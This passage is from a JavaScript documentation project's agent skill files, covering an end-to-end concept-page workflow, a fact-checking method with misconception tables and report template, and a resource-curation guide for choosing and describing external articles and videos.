X complete: - [Deliverable 1] - [Deliverable 2] - Quality gates: ✅ All passed ``` 5. **Move to next phase** only after quality gates pass ### Step 3: Final Report After all phases complete: ```markdown # Workflow Complete: [Concept Name] ## Summary - **Concept Page:** `/docs/concepts/[concept-name].mdx` - **Test File:** `/tests/[category]/[concept-name]/[concept-name].test.js` - **Word Count:** X,XXX words - **Code Examples:** XX (XX tested) - **Resources:** X MDN, X articles, X videos ## Quality Metrics - **Tests:** XX passing - **Fact Check:** ✅ All verified - **SEO Score:** XX/27 (XX%) ## Files Created/Modified 1. `/docs/concepts/[concept-name].mdx` (created) 2. `/docs/docs.json` (updated navigation) 3. `/tests/[category]/[concept-name]/[concept-name].test.js` (created) ## Ready to Publish: ✅ Yes ``` --- ## Phase Dependencies Some phases can be partially parallelized, but the general flow should be: ``` Phase 1 (Resources) ──┐ ├──► Phase 2 (Writing) ──► Phase 3 (Tests) ──┐ │ │ │ ┌───────────────────────────────────┘ │ ▼ └──► Phase 4 (Fact Check) ──► Phase 5 (SEO) ``` - **Phase 1 before Phase 2:** Resources inform what to write - **Phase 2 before Phase 3:** Need content before writing tests - **Phase 3 before Phase 4:** Tests are part of fact-checking - **Phase 4 before Phase 5:** Fix accuracy issues before SEO polish --- ## Skill Reference | Phase | Skill | Purpose | |-------|-------|---------| | 1 | `resource-curator` | Find and evaluate external resources | | 2 | `write-concept` | Write the documentation page | | 3 | `test-writer` | Generate tests for code examples | | 4 | `fact-check` | Verify technical accuracy | | 5 | `seo-review` | Optimize for search visibility | Each skill has detailed instructions in its own `SKILL.md` file. Load the appropriate skill at each phase for comprehensive guidance. --- ## Time Estimates | Phase | Estimated Time | Notes | |-------|---------------|-------| | Phase 1: Resources | 15-30 min | Depends on availability of quality resources | | Phase 2: Writing | 1-3 hours | Depends on concept complexity | | Phase 3: Tests | 30-60 min | Depends on number of code examples | | Phase 4: Fact Check | 15-30 min | Most automated via tests | | Phase 5: SEO | 15-30 min | Mostly checklist verification | | **Total** | **2-5 hours** | For a complete concept page | --- ## Quick Start To start the workflow for a new concept: ``` 1. Determine the concept name and category 2. Load this skill (concept-workflow) 3. Execute Phase 1: Load resource-curator, find resources 4. Execute Phase 2: Load write-concept, write the page 5. Execute Phase 3: Load test-writer, create tests 6. Execute Phase 4: Load fact-check, verify accuracy 7. Execute Phase 5: Load seo-review, optimize SEO 8. Generate final report 9. Commit changes ``` **Example prompt to start:** > "Create a complete concept page for 'hoisting' using the concept-workflow skill" This will trigger the full end-to-end workflow, creating a complete, tested, verified, and SEO-optimized concept page. ================================================ FILE: .opencode/skill/fact-check/SKILL.md ================================================ --- name: fact-check description: Verify technical accuracy of JavaScript concept pages by checking code examples, MDN/ECMAScript compliance, and external resources to prevent misinformation --- # Skill: JavaScript Fact Checker Use this skill to verify the technical accuracy of concept documentation pages for the 33 JavaScript Concepts project. This ensures we're not spreading misinformation about JavaScript. ## When to Use - Before publishing a new concept page - After significant edits to existing content - When reviewing community contributions - When updating pages with new JavaScript features - Periodic accuracy audits of existing content ## What We're Protecting Against - Incorrect JavaScript behavior claims - Outdated information (pre-ES6 patterns presented as current) - Code examples that don't produce stated outputs - Broken or misleading external resource links - Common misconceptions stated as fact - Browser-specific behavior presented as universal - Inaccurate API descriptions --- ## Fact-Checking Methodology Follow these five phases in order for a complete fact check. ### Phase 1: Code Example Verification Every code example in the concept page must be verified for accuracy. #### Step-by-Step Process 1. **Identify all code blocks** in the document 2. **For each code block:** - Read the code and any output comments (e.g., `// "string"`) - Mentally execute the code or test in a JavaScript environment - Verify the output matches what's stated in comments - Check that variable names and logic are correct 3. **For "wrong" examples (marked with ❌):** - Verify they actually produce the wrong/unexpected behavior - Confirm the explanation of why it's wrong is accurate 4. **For "correct" examples (marked with ✓):** - Verify they work as stated - Confirm they follow current best practices 5. **Run project tests:** ```bash # Run all tests npm test # Run tests for a specific concept npm test -- tests/fundamentals/call-stack/ npm test -- tests/fundamentals/primitive-types/ ``` 6. **Check test coverage:** - Look in `/tests/{category}/{concept-name}/` - Verify tests exist for major code examples - Flag examples without test coverage #### Code Verification Checklist | Check | How to Verify | |-------|---------------| | `console.log` outputs match comments | Run code or trace mentally | | Variables are correctly named/used | Read through logic | | Functions return expected values | Trace execution | | Async code resolves in stated order | Understand event loop | | Error examples actually throw | Test in try/catch | | Array/object methods return correct types | Check MDN | | `typeof` results are accurate | Test common cases | | Strict mode behavior noted if relevant | Check if example depends on it | #### Common Output Mistakes to Catch ```javascript // Watch for these common mistakes: // 1. typeof null typeof null // "object" (not "null"!) // 2. Array methods that return new arrays vs mutate const arr = [1, 2, 3] arr.push(4) // Returns 4 (length), not the array! arr.map(x => x*2) // Returns NEW array, doesn't mutate // 3. Promise resolution order Promise.resolve().then(() => console.log('micro')) setTimeout(() => console.log('macro'), 0) console.log('sync') // Output: sync, micro, macro (NOT sync, macro, micro) // 4. Comparison results [] == false // true [] === false // false ![] // false (empty array is truthy!) // 5. this binding const obj = { name: 'Alice', greet: () => console.log(this.name) // undefined! Arrow has no this } ``` --- ### Phase 2: MDN Documentation Verification All claims about JavaScript APIs, methods, and behavior should align with MDN documentation. #### Step-by-Step Process 1. **Check all MDN links:** - Click each MDN link in the document - Verify the link returns 200 (not 404) - Confirm the linked page matches what's being referenced 2. **Verify API descriptions:** - Compare method signatures with MDN - Check parameter names and types - Verify return types - Confirm edge case behavior 3. **Check for deprecated APIs:** - Look for deprecation warnings on MDN - Flag any deprecated methods being taught as current 4. **Verify browser compatibility claims:** - Cross-reference with MDN compatibility tables - Check Can I Use for broader support data #### MDN Link Patterns | Content Type | MDN URL Pattern | |--------------|-----------------| | Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` | | Global Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` | | Statements | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/{Statement}` | | Operators | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/{Operator}` | | HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` | #### What to Verify Against MDN | Claim Type | What to Check | |------------|---------------| | Method signature | Parameters, optional params, return type | | Return value | Exact type and possible values | | Side effects | Does it mutate? What does it affect? | | Exceptions | What errors can it throw? | | Browser support | Compatibility tables | | Deprecation status | Any deprecation warnings? | --- ### Phase 3: ECMAScript Specification Compliance For nuanced JavaScript behavior, verify against the ECMAScript specification. #### When to Check the Spec - Edge cases and unusual behavior - Claims about "how JavaScript works internally" - Type coercion rules - Operator precedence - Execution order guarantees - Claims using words like "always", "never", "guaranteed" #### How to Navigate the Spec The ECMAScript specification is at: https://tc39.es/ecma262/ | Concept | Spec Section | |---------|--------------| | Type coercion | Abstract Operations (7.1) | | Equality | Abstract Equality Comparison (7.2.14), Strict Equality (7.2.15) | | typeof | The typeof Operator (13.5.3) | | Objects | Ordinary and Exotic Objects' Behaviours (10) | | Functions | ECMAScript Function Objects (10.2) | | this binding | ResolveThisBinding (9.4.4) | | Promises | Promise Objects (27.2) | | Iteration | Iteration (27.1) | #### Spec Verification Examples ```javascript // Claim: "typeof null returns 'object' due to a bug" // Spec says: typeof null → "object" (Table 41) // Historical context: This is a known quirk from JS 1.0 // Verdict: ✓ Correct, though calling it a "bug" is slightly informal // Claim: "Promises always resolve asynchronously" // Spec says: Promise reaction jobs are enqueued (27.2.1.3.2) // Verdict: ✓ Correct - even resolved promises schedule microtasks // Claim: "=== is faster than ==" // Spec says: Nothing about performance // Verdict: ⚠️ Needs nuance - this is implementation-dependent ``` --- ### Phase 4: External Resource Verification All external links (articles, videos, courses) must be verified. #### Step-by-Step Process 1. **Check link accessibility:** - Click each external link - Verify it loads (not 404, not paywalled) - Note any redirects to different URLs 2. **Verify content accuracy:** - Skim the resource for obvious errors - Check it's JavaScript-focused (not C#, Python, Java) - Verify it's not teaching anti-patterns 3. **Check publication date:** - For time-sensitive topics (async, modules, etc.), prefer recent content - Flag resources from before 2015 for ES6+ topics 4. **Verify description accuracy:** - Does our description match what the resource actually covers? - Is the description specific (not generic)? #### External Resource Checklist | Check | Pass Criteria | |-------|---------------| | Link works | Returns 200, content loads | | Not paywalled | Free to access (or clearly marked) | | JavaScript-focused | Not primarily about other languages | | Not outdated | Post-2015 for modern JS topics | | Accurate description | Our description matches actual content | | No anti-patterns | Doesn't teach bad practices | | Reputable source | From known/trusted creators | #### Red Flags in External Resources - Uses `var` everywhere for ES6+ topics - Uses callbacks for content about Promises/async - Teaches jQuery as modern DOM manipulation - Contains factual errors about JavaScript - Video is >2 hours without timestamp links - Content is primarily about another language - Uses deprecated APIs without noting deprecation --- ### Phase 5: Technical Claims Audit Review all prose claims about JavaScript behavior. #### Claims That Need Verification | Claim Type | How to Verify | |------------|---------------| | Performance claims | Need benchmarks or caveats | | Browser behavior | Specify which browsers, check MDN | | Historical claims | Verify dates/versions | | "Always" or "never" statements | Check for exceptions | | Comparisons (X vs Y) | Verify both sides accurately | #### Red Flags in Technical Claims - "Always" or "never" without exceptions noted - Performance claims without benchmarks - Browser behavior claims without specifying browsers - Comparisons that oversimplify differences - Historical claims without dates - Claims about "how JavaScript works" without spec reference #### Examples of Claims to Verify ```markdown ❌ "async/await is always better than Promises" → Verify: Not always - Promise.all() is better for parallel operations ❌ "JavaScript is an interpreted language" → Verify: Modern JS engines use JIT compilation ❌ "Objects are passed by reference" → Verify: Technically "passed by sharing" - the reference is passed by value ❌ "=== is faster than ==" → Verify: Implementation-dependent, not guaranteed by spec ✓ "JavaScript is single-threaded" → Verify: Correct for the main thread (Web Workers are separate) ✓ "Promises always resolve asynchronously" → Verify: Correct per ECMAScript spec ``` --- ## Common JavaScript Misconceptions Watch for these misconceptions being stated as fact. ### Type System Misconceptions | Misconception | Reality | How to Verify | |---------------|---------|---------------| | `typeof null === "object"` is intentional | It's a bug from JS 1.0 that can't be fixed for compatibility | Historical context, TC39 discussions | | JavaScript has no types | JS is dynamically typed, not untyped | ECMAScript spec defines types | | `==` is always wrong | `== null` checks both null and undefined, has valid uses | Many style guides allow this pattern | | `NaN === NaN` is false "by mistake" | It's intentional per IEEE 754 floating point spec | IEEE 754 standard | ### Function Misconceptions | Misconception | Reality | How to Verify | |---------------|---------|---------------| | Arrow functions are just shorter syntax | They have no `this`, `arguments`, `super`, or `new.target` | MDN, ECMAScript spec | | `var` is hoisted to function scope with its value | Only declaration is hoisted, not initialization | Code test, MDN | | Closures are a special opt-in feature | All functions in JS are closures | ECMAScript spec | | IIFEs are obsolete | Still useful for one-time initialization | Modern codebases still use them | ### Async Misconceptions | Misconception | Reality | How to Verify | |---------------|---------|---------------| | Promises run in parallel | JS is single-threaded; Promises are async, not parallel | Event loop explanation | | `async/await` is different from Promises | It's syntactic sugar over Promises | MDN, can await any thenable | | `setTimeout(fn, 0)` runs immediately | Runs after current execution + microtasks | Event loop, code test | | `await` pauses the entire program | Only pauses the async function, not the event loop | Code test | ### Object Misconceptions | Misconception | Reality | How to Verify | |---------------|---------|---------------| | Objects are "passed by reference" | References are passed by value ("pass by sharing") | Reassignment test | | `const` makes objects immutable | `const` prevents reassignment, not mutation | Code test | | Everything in JavaScript is an object | Primitives are not objects (though they have wrappers) | `typeof` tests, MDN | | `Object.freeze()` creates deep immutability | It's shallow - nested objects can still be mutated | Code test | ### Performance Misconceptions | Misconception | Reality | How to Verify | |---------------|---------|---------------| | `===` is always faster than `==` | Implementation-dependent, not spec-guaranteed | Benchmarks vary | | `for` loops are faster than `forEach` | Modern engines optimize both; depends on use case | Benchmark | | Arrow functions are faster | No performance difference, just different behavior | Benchmark | | Avoiding DOM manipulation is always faster | Sometimes batch mutations are slower than individual | Depends on browser, use case | --- ## Test Integration Running the project's test suite is a key part of fact-checking. ### Test Commands ```bash # Run all tests npm test # Run tests in watch mode npm run test:watch # Run tests with coverage npm run test:coverage # Run tests for specific concept npm test -- tests/fundamentals/call-stack/ npm test -- tests/fundamentals/primitive-types/ npm test -- tests/fundamentals/value-reference-types/ npm test -- tests/fundamentals/type-coercion/ npm test -- tests/fundamentals/equality-operators/ npm test -- tests/fundamentals/scope-and-closures/ ``` ### Test Directory Structure ``` tests/ ├── fundamentals/ # Concepts 1-6 │ ├── call-stack/ │ ├── primitive-types/ │ ├── value-reference-types/ │ ├── type-coercion/ │ ├── equality-operators/ │ └── scope-and-closures/ ├── functions-execution/ # Concepts 7-8 │ ├── event-loop/ │ └── iife-modules/ └── web-platform/ # Concepts 9-10 ├── dom/ └── http-fetch/ ``` ### When Tests Are Missing If a concept doesn't have tests: 1. Flag this in the report as "needs test coverage" 2. Manually verify code examples are correct 3. Consider adding tests as a follow-up task --- ## Verification Resources ### Primary Sources | Resource | URL | Use For | |----------|-----|---------| | MDN Web Docs | https://developer.mozilla.org | API docs, guides, compatibility | | ECMAScript Spec | https://tc39.es/ecma262 | Authoritative behavior | | TC39 Proposals | https://github.com/tc39/proposals | New features, stages | | Can I Use | https://caniuse.com | Browser compatibility | | Node.js Docs | https://nodejs.org/docs | Node-specific APIs | | V8 Blog | https://v8.dev/blog | Engine internals | ### Project Resources | Resource | Path | Use For | |----------|------|---------| | Test Suite | `/tests/` | Verify code examples | | Concept Pages | `/docs/concepts/` | Current content | | Run Tests | `npm test` | Execute all tests | --- ## Fact Check Report Template Use this template to document your findings. ```markdown # Fact Check Report: [Concept Name] **File:** `/docs/concepts/[slug].mdx` **Date:** YYYY-MM-DD **Reviewer:** [Name/Claude] **Overall Status:** ✅ Verified | ⚠️ Minor Issues | ❌ Major Issues --- ## Executive Summary [2-3 sentence summary of findings. State whether the page is accurate overall and highlight any critical issues.] **Tests Run:** Yes/No **Test Results:** X passing, Y failing **External Links Checked:** X/Y valid --- ## Phase 1: Code Example Verification | # | Description | Line | Status | Notes | |---|-------------|------|--------|-------| | 1 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] | | 2 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] | | 3 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] | ### Code Issues Found #### Issue 1: [Title] **Location:** Line XX **Severity:** Critical/Major/Minor **Current Code:** ```javascript // The problematic code ``` **Problem:** [Explanation of what's wrong] **Correct Code:** ```javascript // The corrected code ``` --- ## Phase 2: MDN/Specification Verification | Claim | Location | Source | Status | Notes | |-------|----------|--------|--------|-------| | [Claim made] | Line XX | MDN/Spec | ✅/⚠️/❌ | [Notes] | ### MDN Link Status | Link Text | URL | Status | |-----------|-----|--------| | [Text] | [URL] | ✅ 200 / ❌ 404 | ### Specification Discrepancies [If any claims don't match the ECMAScript spec, detail them here] --- ## Phase 3: External Resource Verification | Resource | Type | Link | Content | Notes | |----------|------|------|---------|-------| | [Title] | Article/Video | ✅/❌ | ✅/⚠️/❌ | [Notes] | ### Broken Links 1. **Line XX:** [URL] - 404 Not Found 2. **Line YY:** [URL] - Domain expired ### Content Concerns 1. **[Resource name]:** [Concern - e.g., outdated, wrong language, anti-patterns] ### Description Accuracy | Resource | Description Accurate? | Notes | |----------|----------------------|-------| | [Title] | ✅/❌ | [Notes] | --- ## Phase 4: Technical Claims Audit | Claim | Location | Verdict | Notes | |-------|----------|---------|-------| | "[Claim]" | Line XX | ✅/⚠️/❌ | [Notes] | ### Claims Needing Revision 1. **Line XX:** "[Current claim]" - **Issue:** [What's wrong] - **Suggested:** "[Revised claim]" --- ## Phase 5: Test Results **Test File:** `/tests/[category]/[concept]/[concept].test.js` **Tests Run:** XX **Passing:** XX **Failing:** XX ### Failing Tests | Test Name | Expected | Actual | Related Doc Line | |-----------|----------|--------|------------------| | [Test] | [Expected] | [Actual] | Line XX | ### Coverage Gaps Examples in documentation without corresponding tests: - [ ] Line XX: [Description of untested example] - [ ] Line YY: [Description of untested example] --- ## Issues Summary ### Critical (Must Fix Before Publishing) 1. **[Issue title]** - Location: Line XX - Problem: [Description] - Fix: [How to fix] ### Major (Should Fix) 1. **[Issue title]** - Location: Line XX - Problem: [Description] - Fix: [How to fix] ### Minor (Nice to Have) 1. **[Issue title]** - Location: Line XX - Suggestion: [Improvement] --- ## Recommendations 1. **[Priority 1]:** [Specific actionable recommendation] 2. **[Priority 2]:** [Specific actionable recommendation] 3. **[Priority 3]:** [Specific actionable recommendation] --- ## Verification Checklist - [ ] All code examples verified for correct output - [ ] All MDN links checked and valid - [ ] API descriptions match MDN documentation - [ ] ECMAScript compliance verified (if applicable) - [ ] All external resource links accessible - [ ] Resource descriptions accurately represent content - [ ] No common JavaScript misconceptions found - [ ] Technical claims are accurate and nuanced - [ ] Project tests run and reviewed - [ ] Report complete and ready for handoff --- ## Sign-off **Verified by:** [Name/Claude] **Date:** YYYY-MM-DD **Recommendation:** ✅ Ready to publish | ⚠️ Fix issues first | ❌ Major revision needed ``` --- ## Quick Reference: Verification Commands ```bash # Run all tests npm test # Run specific concept tests npm test -- tests/fundamentals/call-stack/ # Check for broken links (if you have a link checker) # Install: npm install -g broken-link-checker # Run: blc https://developer.mozilla.org/... -ro # Quick JavaScript REPL for testing node > typeof null 'object' > [1,2,3].map(x => x * 2) [ 2, 4, 6 ] ``` --- ## Summary When fact-checking a concept page: 1. **Run tests first** — `npm test` catches code errors automatically 2. **Verify every code example** — Output comments must match reality 3. **Check all MDN links** — Broken links and incorrect descriptions hurt credibility 4. **Verify external resources** — Must be accessible, accurate, and JavaScript-focused 5. **Audit technical claims** — Watch for misconceptions and unsupported statements 6. **Document everything** — Use the report template for consistent, thorough reviews **Remember:** Our readers trust us to teach them correct JavaScript. A single piece of misinformation can create confusion that takes years to unlearn. Take fact-checking seriously. ================================================ FILE: .opencode/skill/resource-curator/SKILL.md ================================================ --- name: resource-curator description: Find, evaluate, and maintain high-quality external resources for JavaScript concept documentation, including auditing for broken and outdated links --- # Skill: Resource Curator for Concept Pages Use this skill to find, evaluate, add, and maintain high-quality external resources (articles, videos, courses) for concept documentation pages. This includes auditing existing resources for broken links and outdated content. ## When to Use - Adding resources to a new concept page - Refreshing resources on existing pages - Auditing for broken or outdated links - Reviewing community-contributed resources - Periodic link maintenance ## Resource Curation Methodology Follow these five phases for comprehensive resource curation. ### Phase 1: Audit Existing Resources Before adding new resources, audit what's already there: 1. **Check link accessibility** — Does each link return 200? 2. **Verify content accuracy** — Is the content still correct? 3. **Check publication dates** — Is it too old for the topic? 4. **Identify outdated content** — Does it use old syntax/patterns? 5. **Review descriptions** — Are they specific or generic? ### Phase 2: Identify Resource Gaps Compare current resources against targets: | Section | Target Count | Icon | |---------|--------------|------| | Reference | 2-4 MDN links | `book` | | Articles | 4-6 articles | `newspaper` | | Videos | 3-4 videos | `video` | | Courses | 1-3 (optional) | `graduation-cap` | | Books | 1-2 (optional) | `book` | Ask: - Are there enough resources for beginners AND advanced learners? - Is there visual content (diagrams, animations)? - Are official references (MDN) included? - Is there diversity in teaching styles? ### Phase 3: Find New Resources Search trusted sources using targeted queries: **For Articles:** ``` [concept] javascript tutorial site:javascript.info [concept] javascript explained site:freecodecamp.org [concept] javascript site:dev.to [concept] javascript deep dive site:2ality.com [concept] javascript guide site:css-tricks.com ``` **For Videos:** ``` YouTube: [concept] javascript explained YouTube: [concept] javascript tutorial YouTube: jsconf [concept] YouTube: [concept] javascript fireship YouTube: [concept] javascript web dev simplified ``` **For MDN:** ``` [concept] site:developer.mozilla.org [API name] MDN ``` ### Phase 4: Write Descriptions Every resource needs a specific, valuable description: **Formula:** ``` Sentence 1: What makes this resource unique OR what it specifically covers Sentence 2: Why reader should click (what they'll gain, who it's best for) ``` ### Phase 5: Format and Organize - Use correct Card syntax with proper icons - Order resources logically (foundational first, advanced later) - Ensure consistent formatting --- ## Trusted Sources ### Reference Sources (Priority Order) | Priority | Source | URL | Best For | |----------|--------|-----|----------| | 1 | MDN Web Docs | developer.mozilla.org | API docs, guides, compatibility | | 2 | ECMAScript Spec | tc39.es/ecma262 | Authoritative behavior | | 3 | Node.js Docs | nodejs.org/docs | Node-specific APIs | | 4 | Web.dev | web.dev | Performance, best practices | | 5 | Can I Use | caniuse.com | Browser compatibility | ### Article Sources (Priority Order) | Priority | Source | Why Trusted | |----------|--------|-------------| | 1 | javascript.info | Comprehensive, exercises, well-maintained | | 2 | MDN Guides | Official, accurate, regularly updated | | 3 | freeCodeCamp | Beginner-friendly, practical | | 4 | 2ality (Dr. Axel) | Deep technical dives, spec-focused | | 5 | CSS-Tricks | DOM, visual topics, well-written | | 6 | dev.to (Lydia Hallie) | Visual explanations, animations | | 7 | LogRocket Blog | Practical tutorials, real-world | | 8 | Smashing Magazine | In-depth, well-researched | | 9 | Digital Ocean | Clear tutorials, examples | | 10 | Kent C. Dodds | Testing, React, best practices | ### Video Creators (Priority Order) | Priority | Creator | Style | Best For | |----------|---------|-------|----------| | 1 | Fireship | Fast, modern, entertaining | Quick overviews, modern JS | | 2 | Web Dev Simplified | Clear, beginner-friendly | Beginners, fundamentals | | 3 | Fun Fun Function | Deep-dives, personality | Understanding "why" | | 4 | Traversy Media | Comprehensive crash courses | Full topic coverage | | 5 | JSConf/dotJS | Expert conference talks | Advanced, in-depth | | 6 | Academind | Thorough explanations | Complete understanding | | 7 | The Coding Train | Creative, visual | Visual learners | | 8 | Wes Bos | Practical, real-world | Applied learning | | 9 | The Net Ninja | Step-by-step tutorials | Following along | | 10 | Programming with Mosh | Professional, clear | Career-focused | ### Course Sources | Source | Type | Notes | |--------|------|-------| | javascript.info | Free | Comprehensive, exercises | | Piccalilli | Free | Well-written, modern | | freeCodeCamp | Free | Project-based | | Frontend Masters | Paid | Expert instructors | | Egghead.io | Paid | Short, focused lessons | | Udemy (top-rated) | Paid | Check reviews carefully | | Codecademy | Freemium | Interactive | --- ## Quality Criteria ### Must Have (Required) - [ ] **Link works** — Returns 200 (not 404, 301, 5xx) - [ ] **JavaScript-focused** — Not primarily about C#, Python, Java, etc. - [ ] **Technically accurate** — No factual errors or anti-patterns - [ ] **Accessible** — Free or has meaningful free preview ### Should Have (Preferred) - [ ] **Recent enough** — See publication date guidelines below - [ ] **Reputable source** — From trusted sources list or well-known creator - [ ] **Unique perspective** — Not duplicate of existing resources - [ ] **Appropriate depth** — Matches concept complexity - [ ] **Good engagement** — Positive comments, high views (for videos) ### Red Flags (Reject) | Red Flag | Why It Matters | |----------|----------------| | Uses `var` everywhere | Outdated for ES6+ topics | | Teaches anti-patterns | Harmful to learners | | Primarily other languages | Wrong focus | | Hard paywall (no preview) | Inaccessible | | Pre-2015 for modern topics | Likely outdated | | Low quality comments | Often indicates issues | | Factual errors | Spreads misinformation | | Clickbait title, thin content | Wastes reader time | --- ## Publication Date Guidelines | Topic Category | Minimum Year | Reasoning | |----------------|--------------|-----------| | **ES6+ Features** | 2015+ | ES6 released June 2015 | | **Promises** | 2015+ | Native Promises in ES6 | | **async/await** | 2017+ | ES2017 feature | | **ES Modules** | 2018+ | Stable browser support | | **Optional chaining (?.)** | 2020+ | ES2020 feature | | **Nullish coalescing (??)** | 2020+ | ES2020 feature | | **Top-level await** | 2022+ | ES2022 feature | | **Fundamentals** (closures, scope, this) | Any | Core concepts don't change | | **DOM manipulation** | 2018+ | Modern APIs preferred | | **Fetch API** | 2017+ | Widespread support | **Rule of thumb:** For time-sensitive topics, prefer content from the last 3-5 years. For fundamentals, older classic content is often excellent. --- ## Description Writing Guide ### The Formula ``` Sentence 1: What makes this resource unique OR what it specifically covers Sentence 2: Why reader should click (what they'll gain, who it's best for) ``` ### Good Examples ```markdown <Card title="JavaScript Visualized: Promises & Async/Await — Lydia Hallie" icon="newspaper" href="https://dev.to/lydiahallie/javascript-visualized-promises-async-await-5gke"> Animated GIFs showing the call stack, microtask queue, and event loop in action. The visuals make Promise execution order finally click for visual learners. </Card> <Card title="What the heck is the event loop anyway? — Philip Roberts" icon="video" href="https://www.youtube.com/watch?v=8aGhZQkoFbQ"> The legendary JSConf talk that made the event loop click for millions of developers. Philip Roberts' live visualizations are the gold standard — a must-watch. </Card> <Card title="You Don't Know JS: Scope & Closures — Kyle Simpson" icon="book" href="https://github.com/getify/You-Dont-Know-JS/blob/2nd-ed/scope-closures/README.md"> Kyle Simpson's deep dive into JavaScript's scope mechanics and closure behavior. Goes beyond the basics into edge cases and mental models for truly understanding scope. </Card> <Card title="JavaScript Promises in 10 Minutes — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=DHvZLI7Db8E"> Quick, clear explanation covering Promise creation, chaining, and error handling. Perfect starting point if you're new to async JavaScript. </Card> <Card title="How to Escape Async/Await Hell — Aditya Agarwal" icon="newspaper" href="https://medium.com/free-code-camp/avoiding-the-async-await-hell-c77a0fb71c4c"> The pizza-and-drinks ordering analogy makes parallel vs sequential execution crystal clear. Essential reading once you know async/await basics but want to write faster code. </Card> ``` ### Bad Examples (Avoid) ```markdown <!-- TOO GENERIC --> <Card title="Promises Tutorial" icon="newspaper" href="..."> A comprehensive guide to Promises in JavaScript. </Card> <!-- NO VALUE PROPOSITION --> <Card title="Learn Closures" icon="video" href="..."> This video explains closures in JavaScript. </Card> <!-- VAGUE, NO SPECIFICS --> <Card title="JavaScript Guide" icon="newspaper" href="..."> Everything you need to know about JavaScript. </Card> <!-- JUST RESTATING THE TITLE --> <Card title="Understanding the Event Loop" icon="video" href="..."> A video about understanding the event loop. </Card> ``` ### Words and Phrases to Avoid | Avoid | Why | Use Instead | |-------|-----|-------------| | "comprehensive guide to..." | Vague, overused | Specify what's covered | | "learn all about..." | Generic | What specifically will they learn? | | "everything you need to know..." | Hyperbolic | Be specific | | "great tutorial on..." | Subjective filler | Why is it great? | | "explains X" | Too basic | How does it explain? What's unique? | | "in-depth look at..." | Vague | What depth? What aspect? | ### Words and Phrases That Work | Good Phrase | Example | |-------------|---------| | "step-by-step walkthrough" | "Step-by-step walkthrough of building a Promise from scratch" | | "visual explanation" | "Visual explanation with animated diagrams" | | "deep dive into" | "Deep dive into V8's optimization strategies" | | "practical examples of" | "Practical examples of closures in React hooks" | | "the go-to reference for" | "The go-to reference for array method signatures" | | "finally makes X click" | "Finally makes prototype chains click" | | "perfect for beginners" | "Perfect for beginners new to async code" | | "covers X, Y, and Z" | "Covers creation, chaining, and error handling" | --- ## Link Audit Process ### Step 1: Check Each Link For each resource in the concept page: 1. **Click the link** — Does it load? 2. **Note the HTTP status:** | Status | Meaning | Action | |--------|---------|--------| | 200 | OK | Keep, continue to content check | | 301/302 | Redirect | Update to final URL | | 404 | Not Found | Remove or find replacement | | 403 | Forbidden | Check manually, may be geo-blocked | | 5xx | Server Error | Retry later, may be temporary | ### Step 2: Content Verification For each accessible link: 1. **Skim the content** — Is it still accurate? 2. **Check the date** — When was it published/updated? 3. **Verify JavaScript focus** — Is it primarily about JS? 4. **Look for red flags** — Anti-patterns, errors, outdated syntax ### Step 3: Description Review For each resource: 1. **Read current description** — Is it specific? 2. **Compare to actual content** — Does it match? 3. **Check for generic phrases** — "comprehensive guide", etc. 4. **Identify improvements** — How can it be more specific? ### Step 4: Gap Analysis After auditing all resources: 1. **Count by section** — Do we meet targets? 2. **Check diversity** — Beginner AND advanced? Visual AND text? 3. **Identify missing types** — No MDN? No videos? 4. **Note recommendations** — What should we add? --- ## Resource Section Templates ### Reference Section ```markdown ## Reference <CardGroup cols={2}> <Card title="[Main Topic] — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/..."> Official MDN documentation covering [specific aspects]. The authoritative reference for [what it's best for]. </Card> <Card title="[Related API/Concept] — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/..."> [What this reference covers]. Essential reading for understanding [specific aspect]. </Card> </CardGroup> ``` ### Articles Section ```markdown ## Articles <CardGroup cols={2}> <Card title="[Article Title]" icon="newspaper" href="..."> [What makes it unique/what it covers]. [Why read this one/who it's for]. </Card> <Card title="[Article Title]" icon="newspaper" href="..."> [Specific coverage]. [Value proposition]. </Card> <Card title="[Article Title]" icon="newspaper" href="..."> [Unique angle]. [Why it's worth reading]. </Card> <Card title="[Article Title]" icon="newspaper" href="..."> [What it covers]. [Best for whom]. </Card> </CardGroup> ``` ### Videos Section ```markdown ## Videos <CardGroup cols={2}> <Card title="[Video Title] — [Creator]" icon="video" href="https://www.youtube.com/watch?v=..."> [What it covers/unique approach]. [Why watch/who it's for]. </Card> <Card title="[Video Title] — [Creator]" icon="video" href="https://www.youtube.com/watch?v=..."> [Specific focus]. [What makes it stand out]. </Card> <Card title="[Video Title] — [Creator]" icon="video" href="https://www.youtube.com/watch?v=..."> [Coverage]. [Value]. </Card> </CardGroup> ``` ### Books Section (Optional) ```markdown <Card title="[Book Title] — [Author]" icon="book" href="..."> [What the book covers and its approach]. [Who should read it and what they'll gain]. </Card> ``` ### Courses Section (Optional) ```markdown <CardGroup cols={2}> <Card title="[Course Title] — [Platform]" icon="graduation-cap" href="..."> [What the course covers]. [Format and who it's best for]. </Card> </CardGroup> ``` --- ## Resource Audit Report Template Use this template to document audit findings. ```markdown # Resource Audit Report: [Concept Name] **File:** `/docs/concepts/[slug].mdx` **Date:** YYYY-MM-DD **Auditor:** [Name/Claude] --- ## Summary | Metric | Count | |--------|-------| | Total Resources | XX | | Working Links (200) | XX | | Broken Links (404) | XX | | Redirects (301/302) | XX | | Outdated Content | XX | | Generic Descriptions | XX | ## Resource Count vs Targets | Section | Current | Target | Status | |---------|---------|--------|--------| | Reference (MDN) | X | 2-4 | ✅/⚠️/❌ | | Articles | X | 4-6 | ✅/⚠️/❌ | | Videos | X | 3-4 | ✅/⚠️/❌ | | Courses | X | 0-3 | ✅/⚠️/❌ | --- ## Broken Links (Remove or Replace) | Resource | Line | URL | Status | Action | |----------|------|-----|--------|--------| | [Title] | XX | [URL] | 404 | Remove | | [Title] | XX | [URL] | 404 | Replace with [alternative] | --- ## Redirects (Update URLs) | 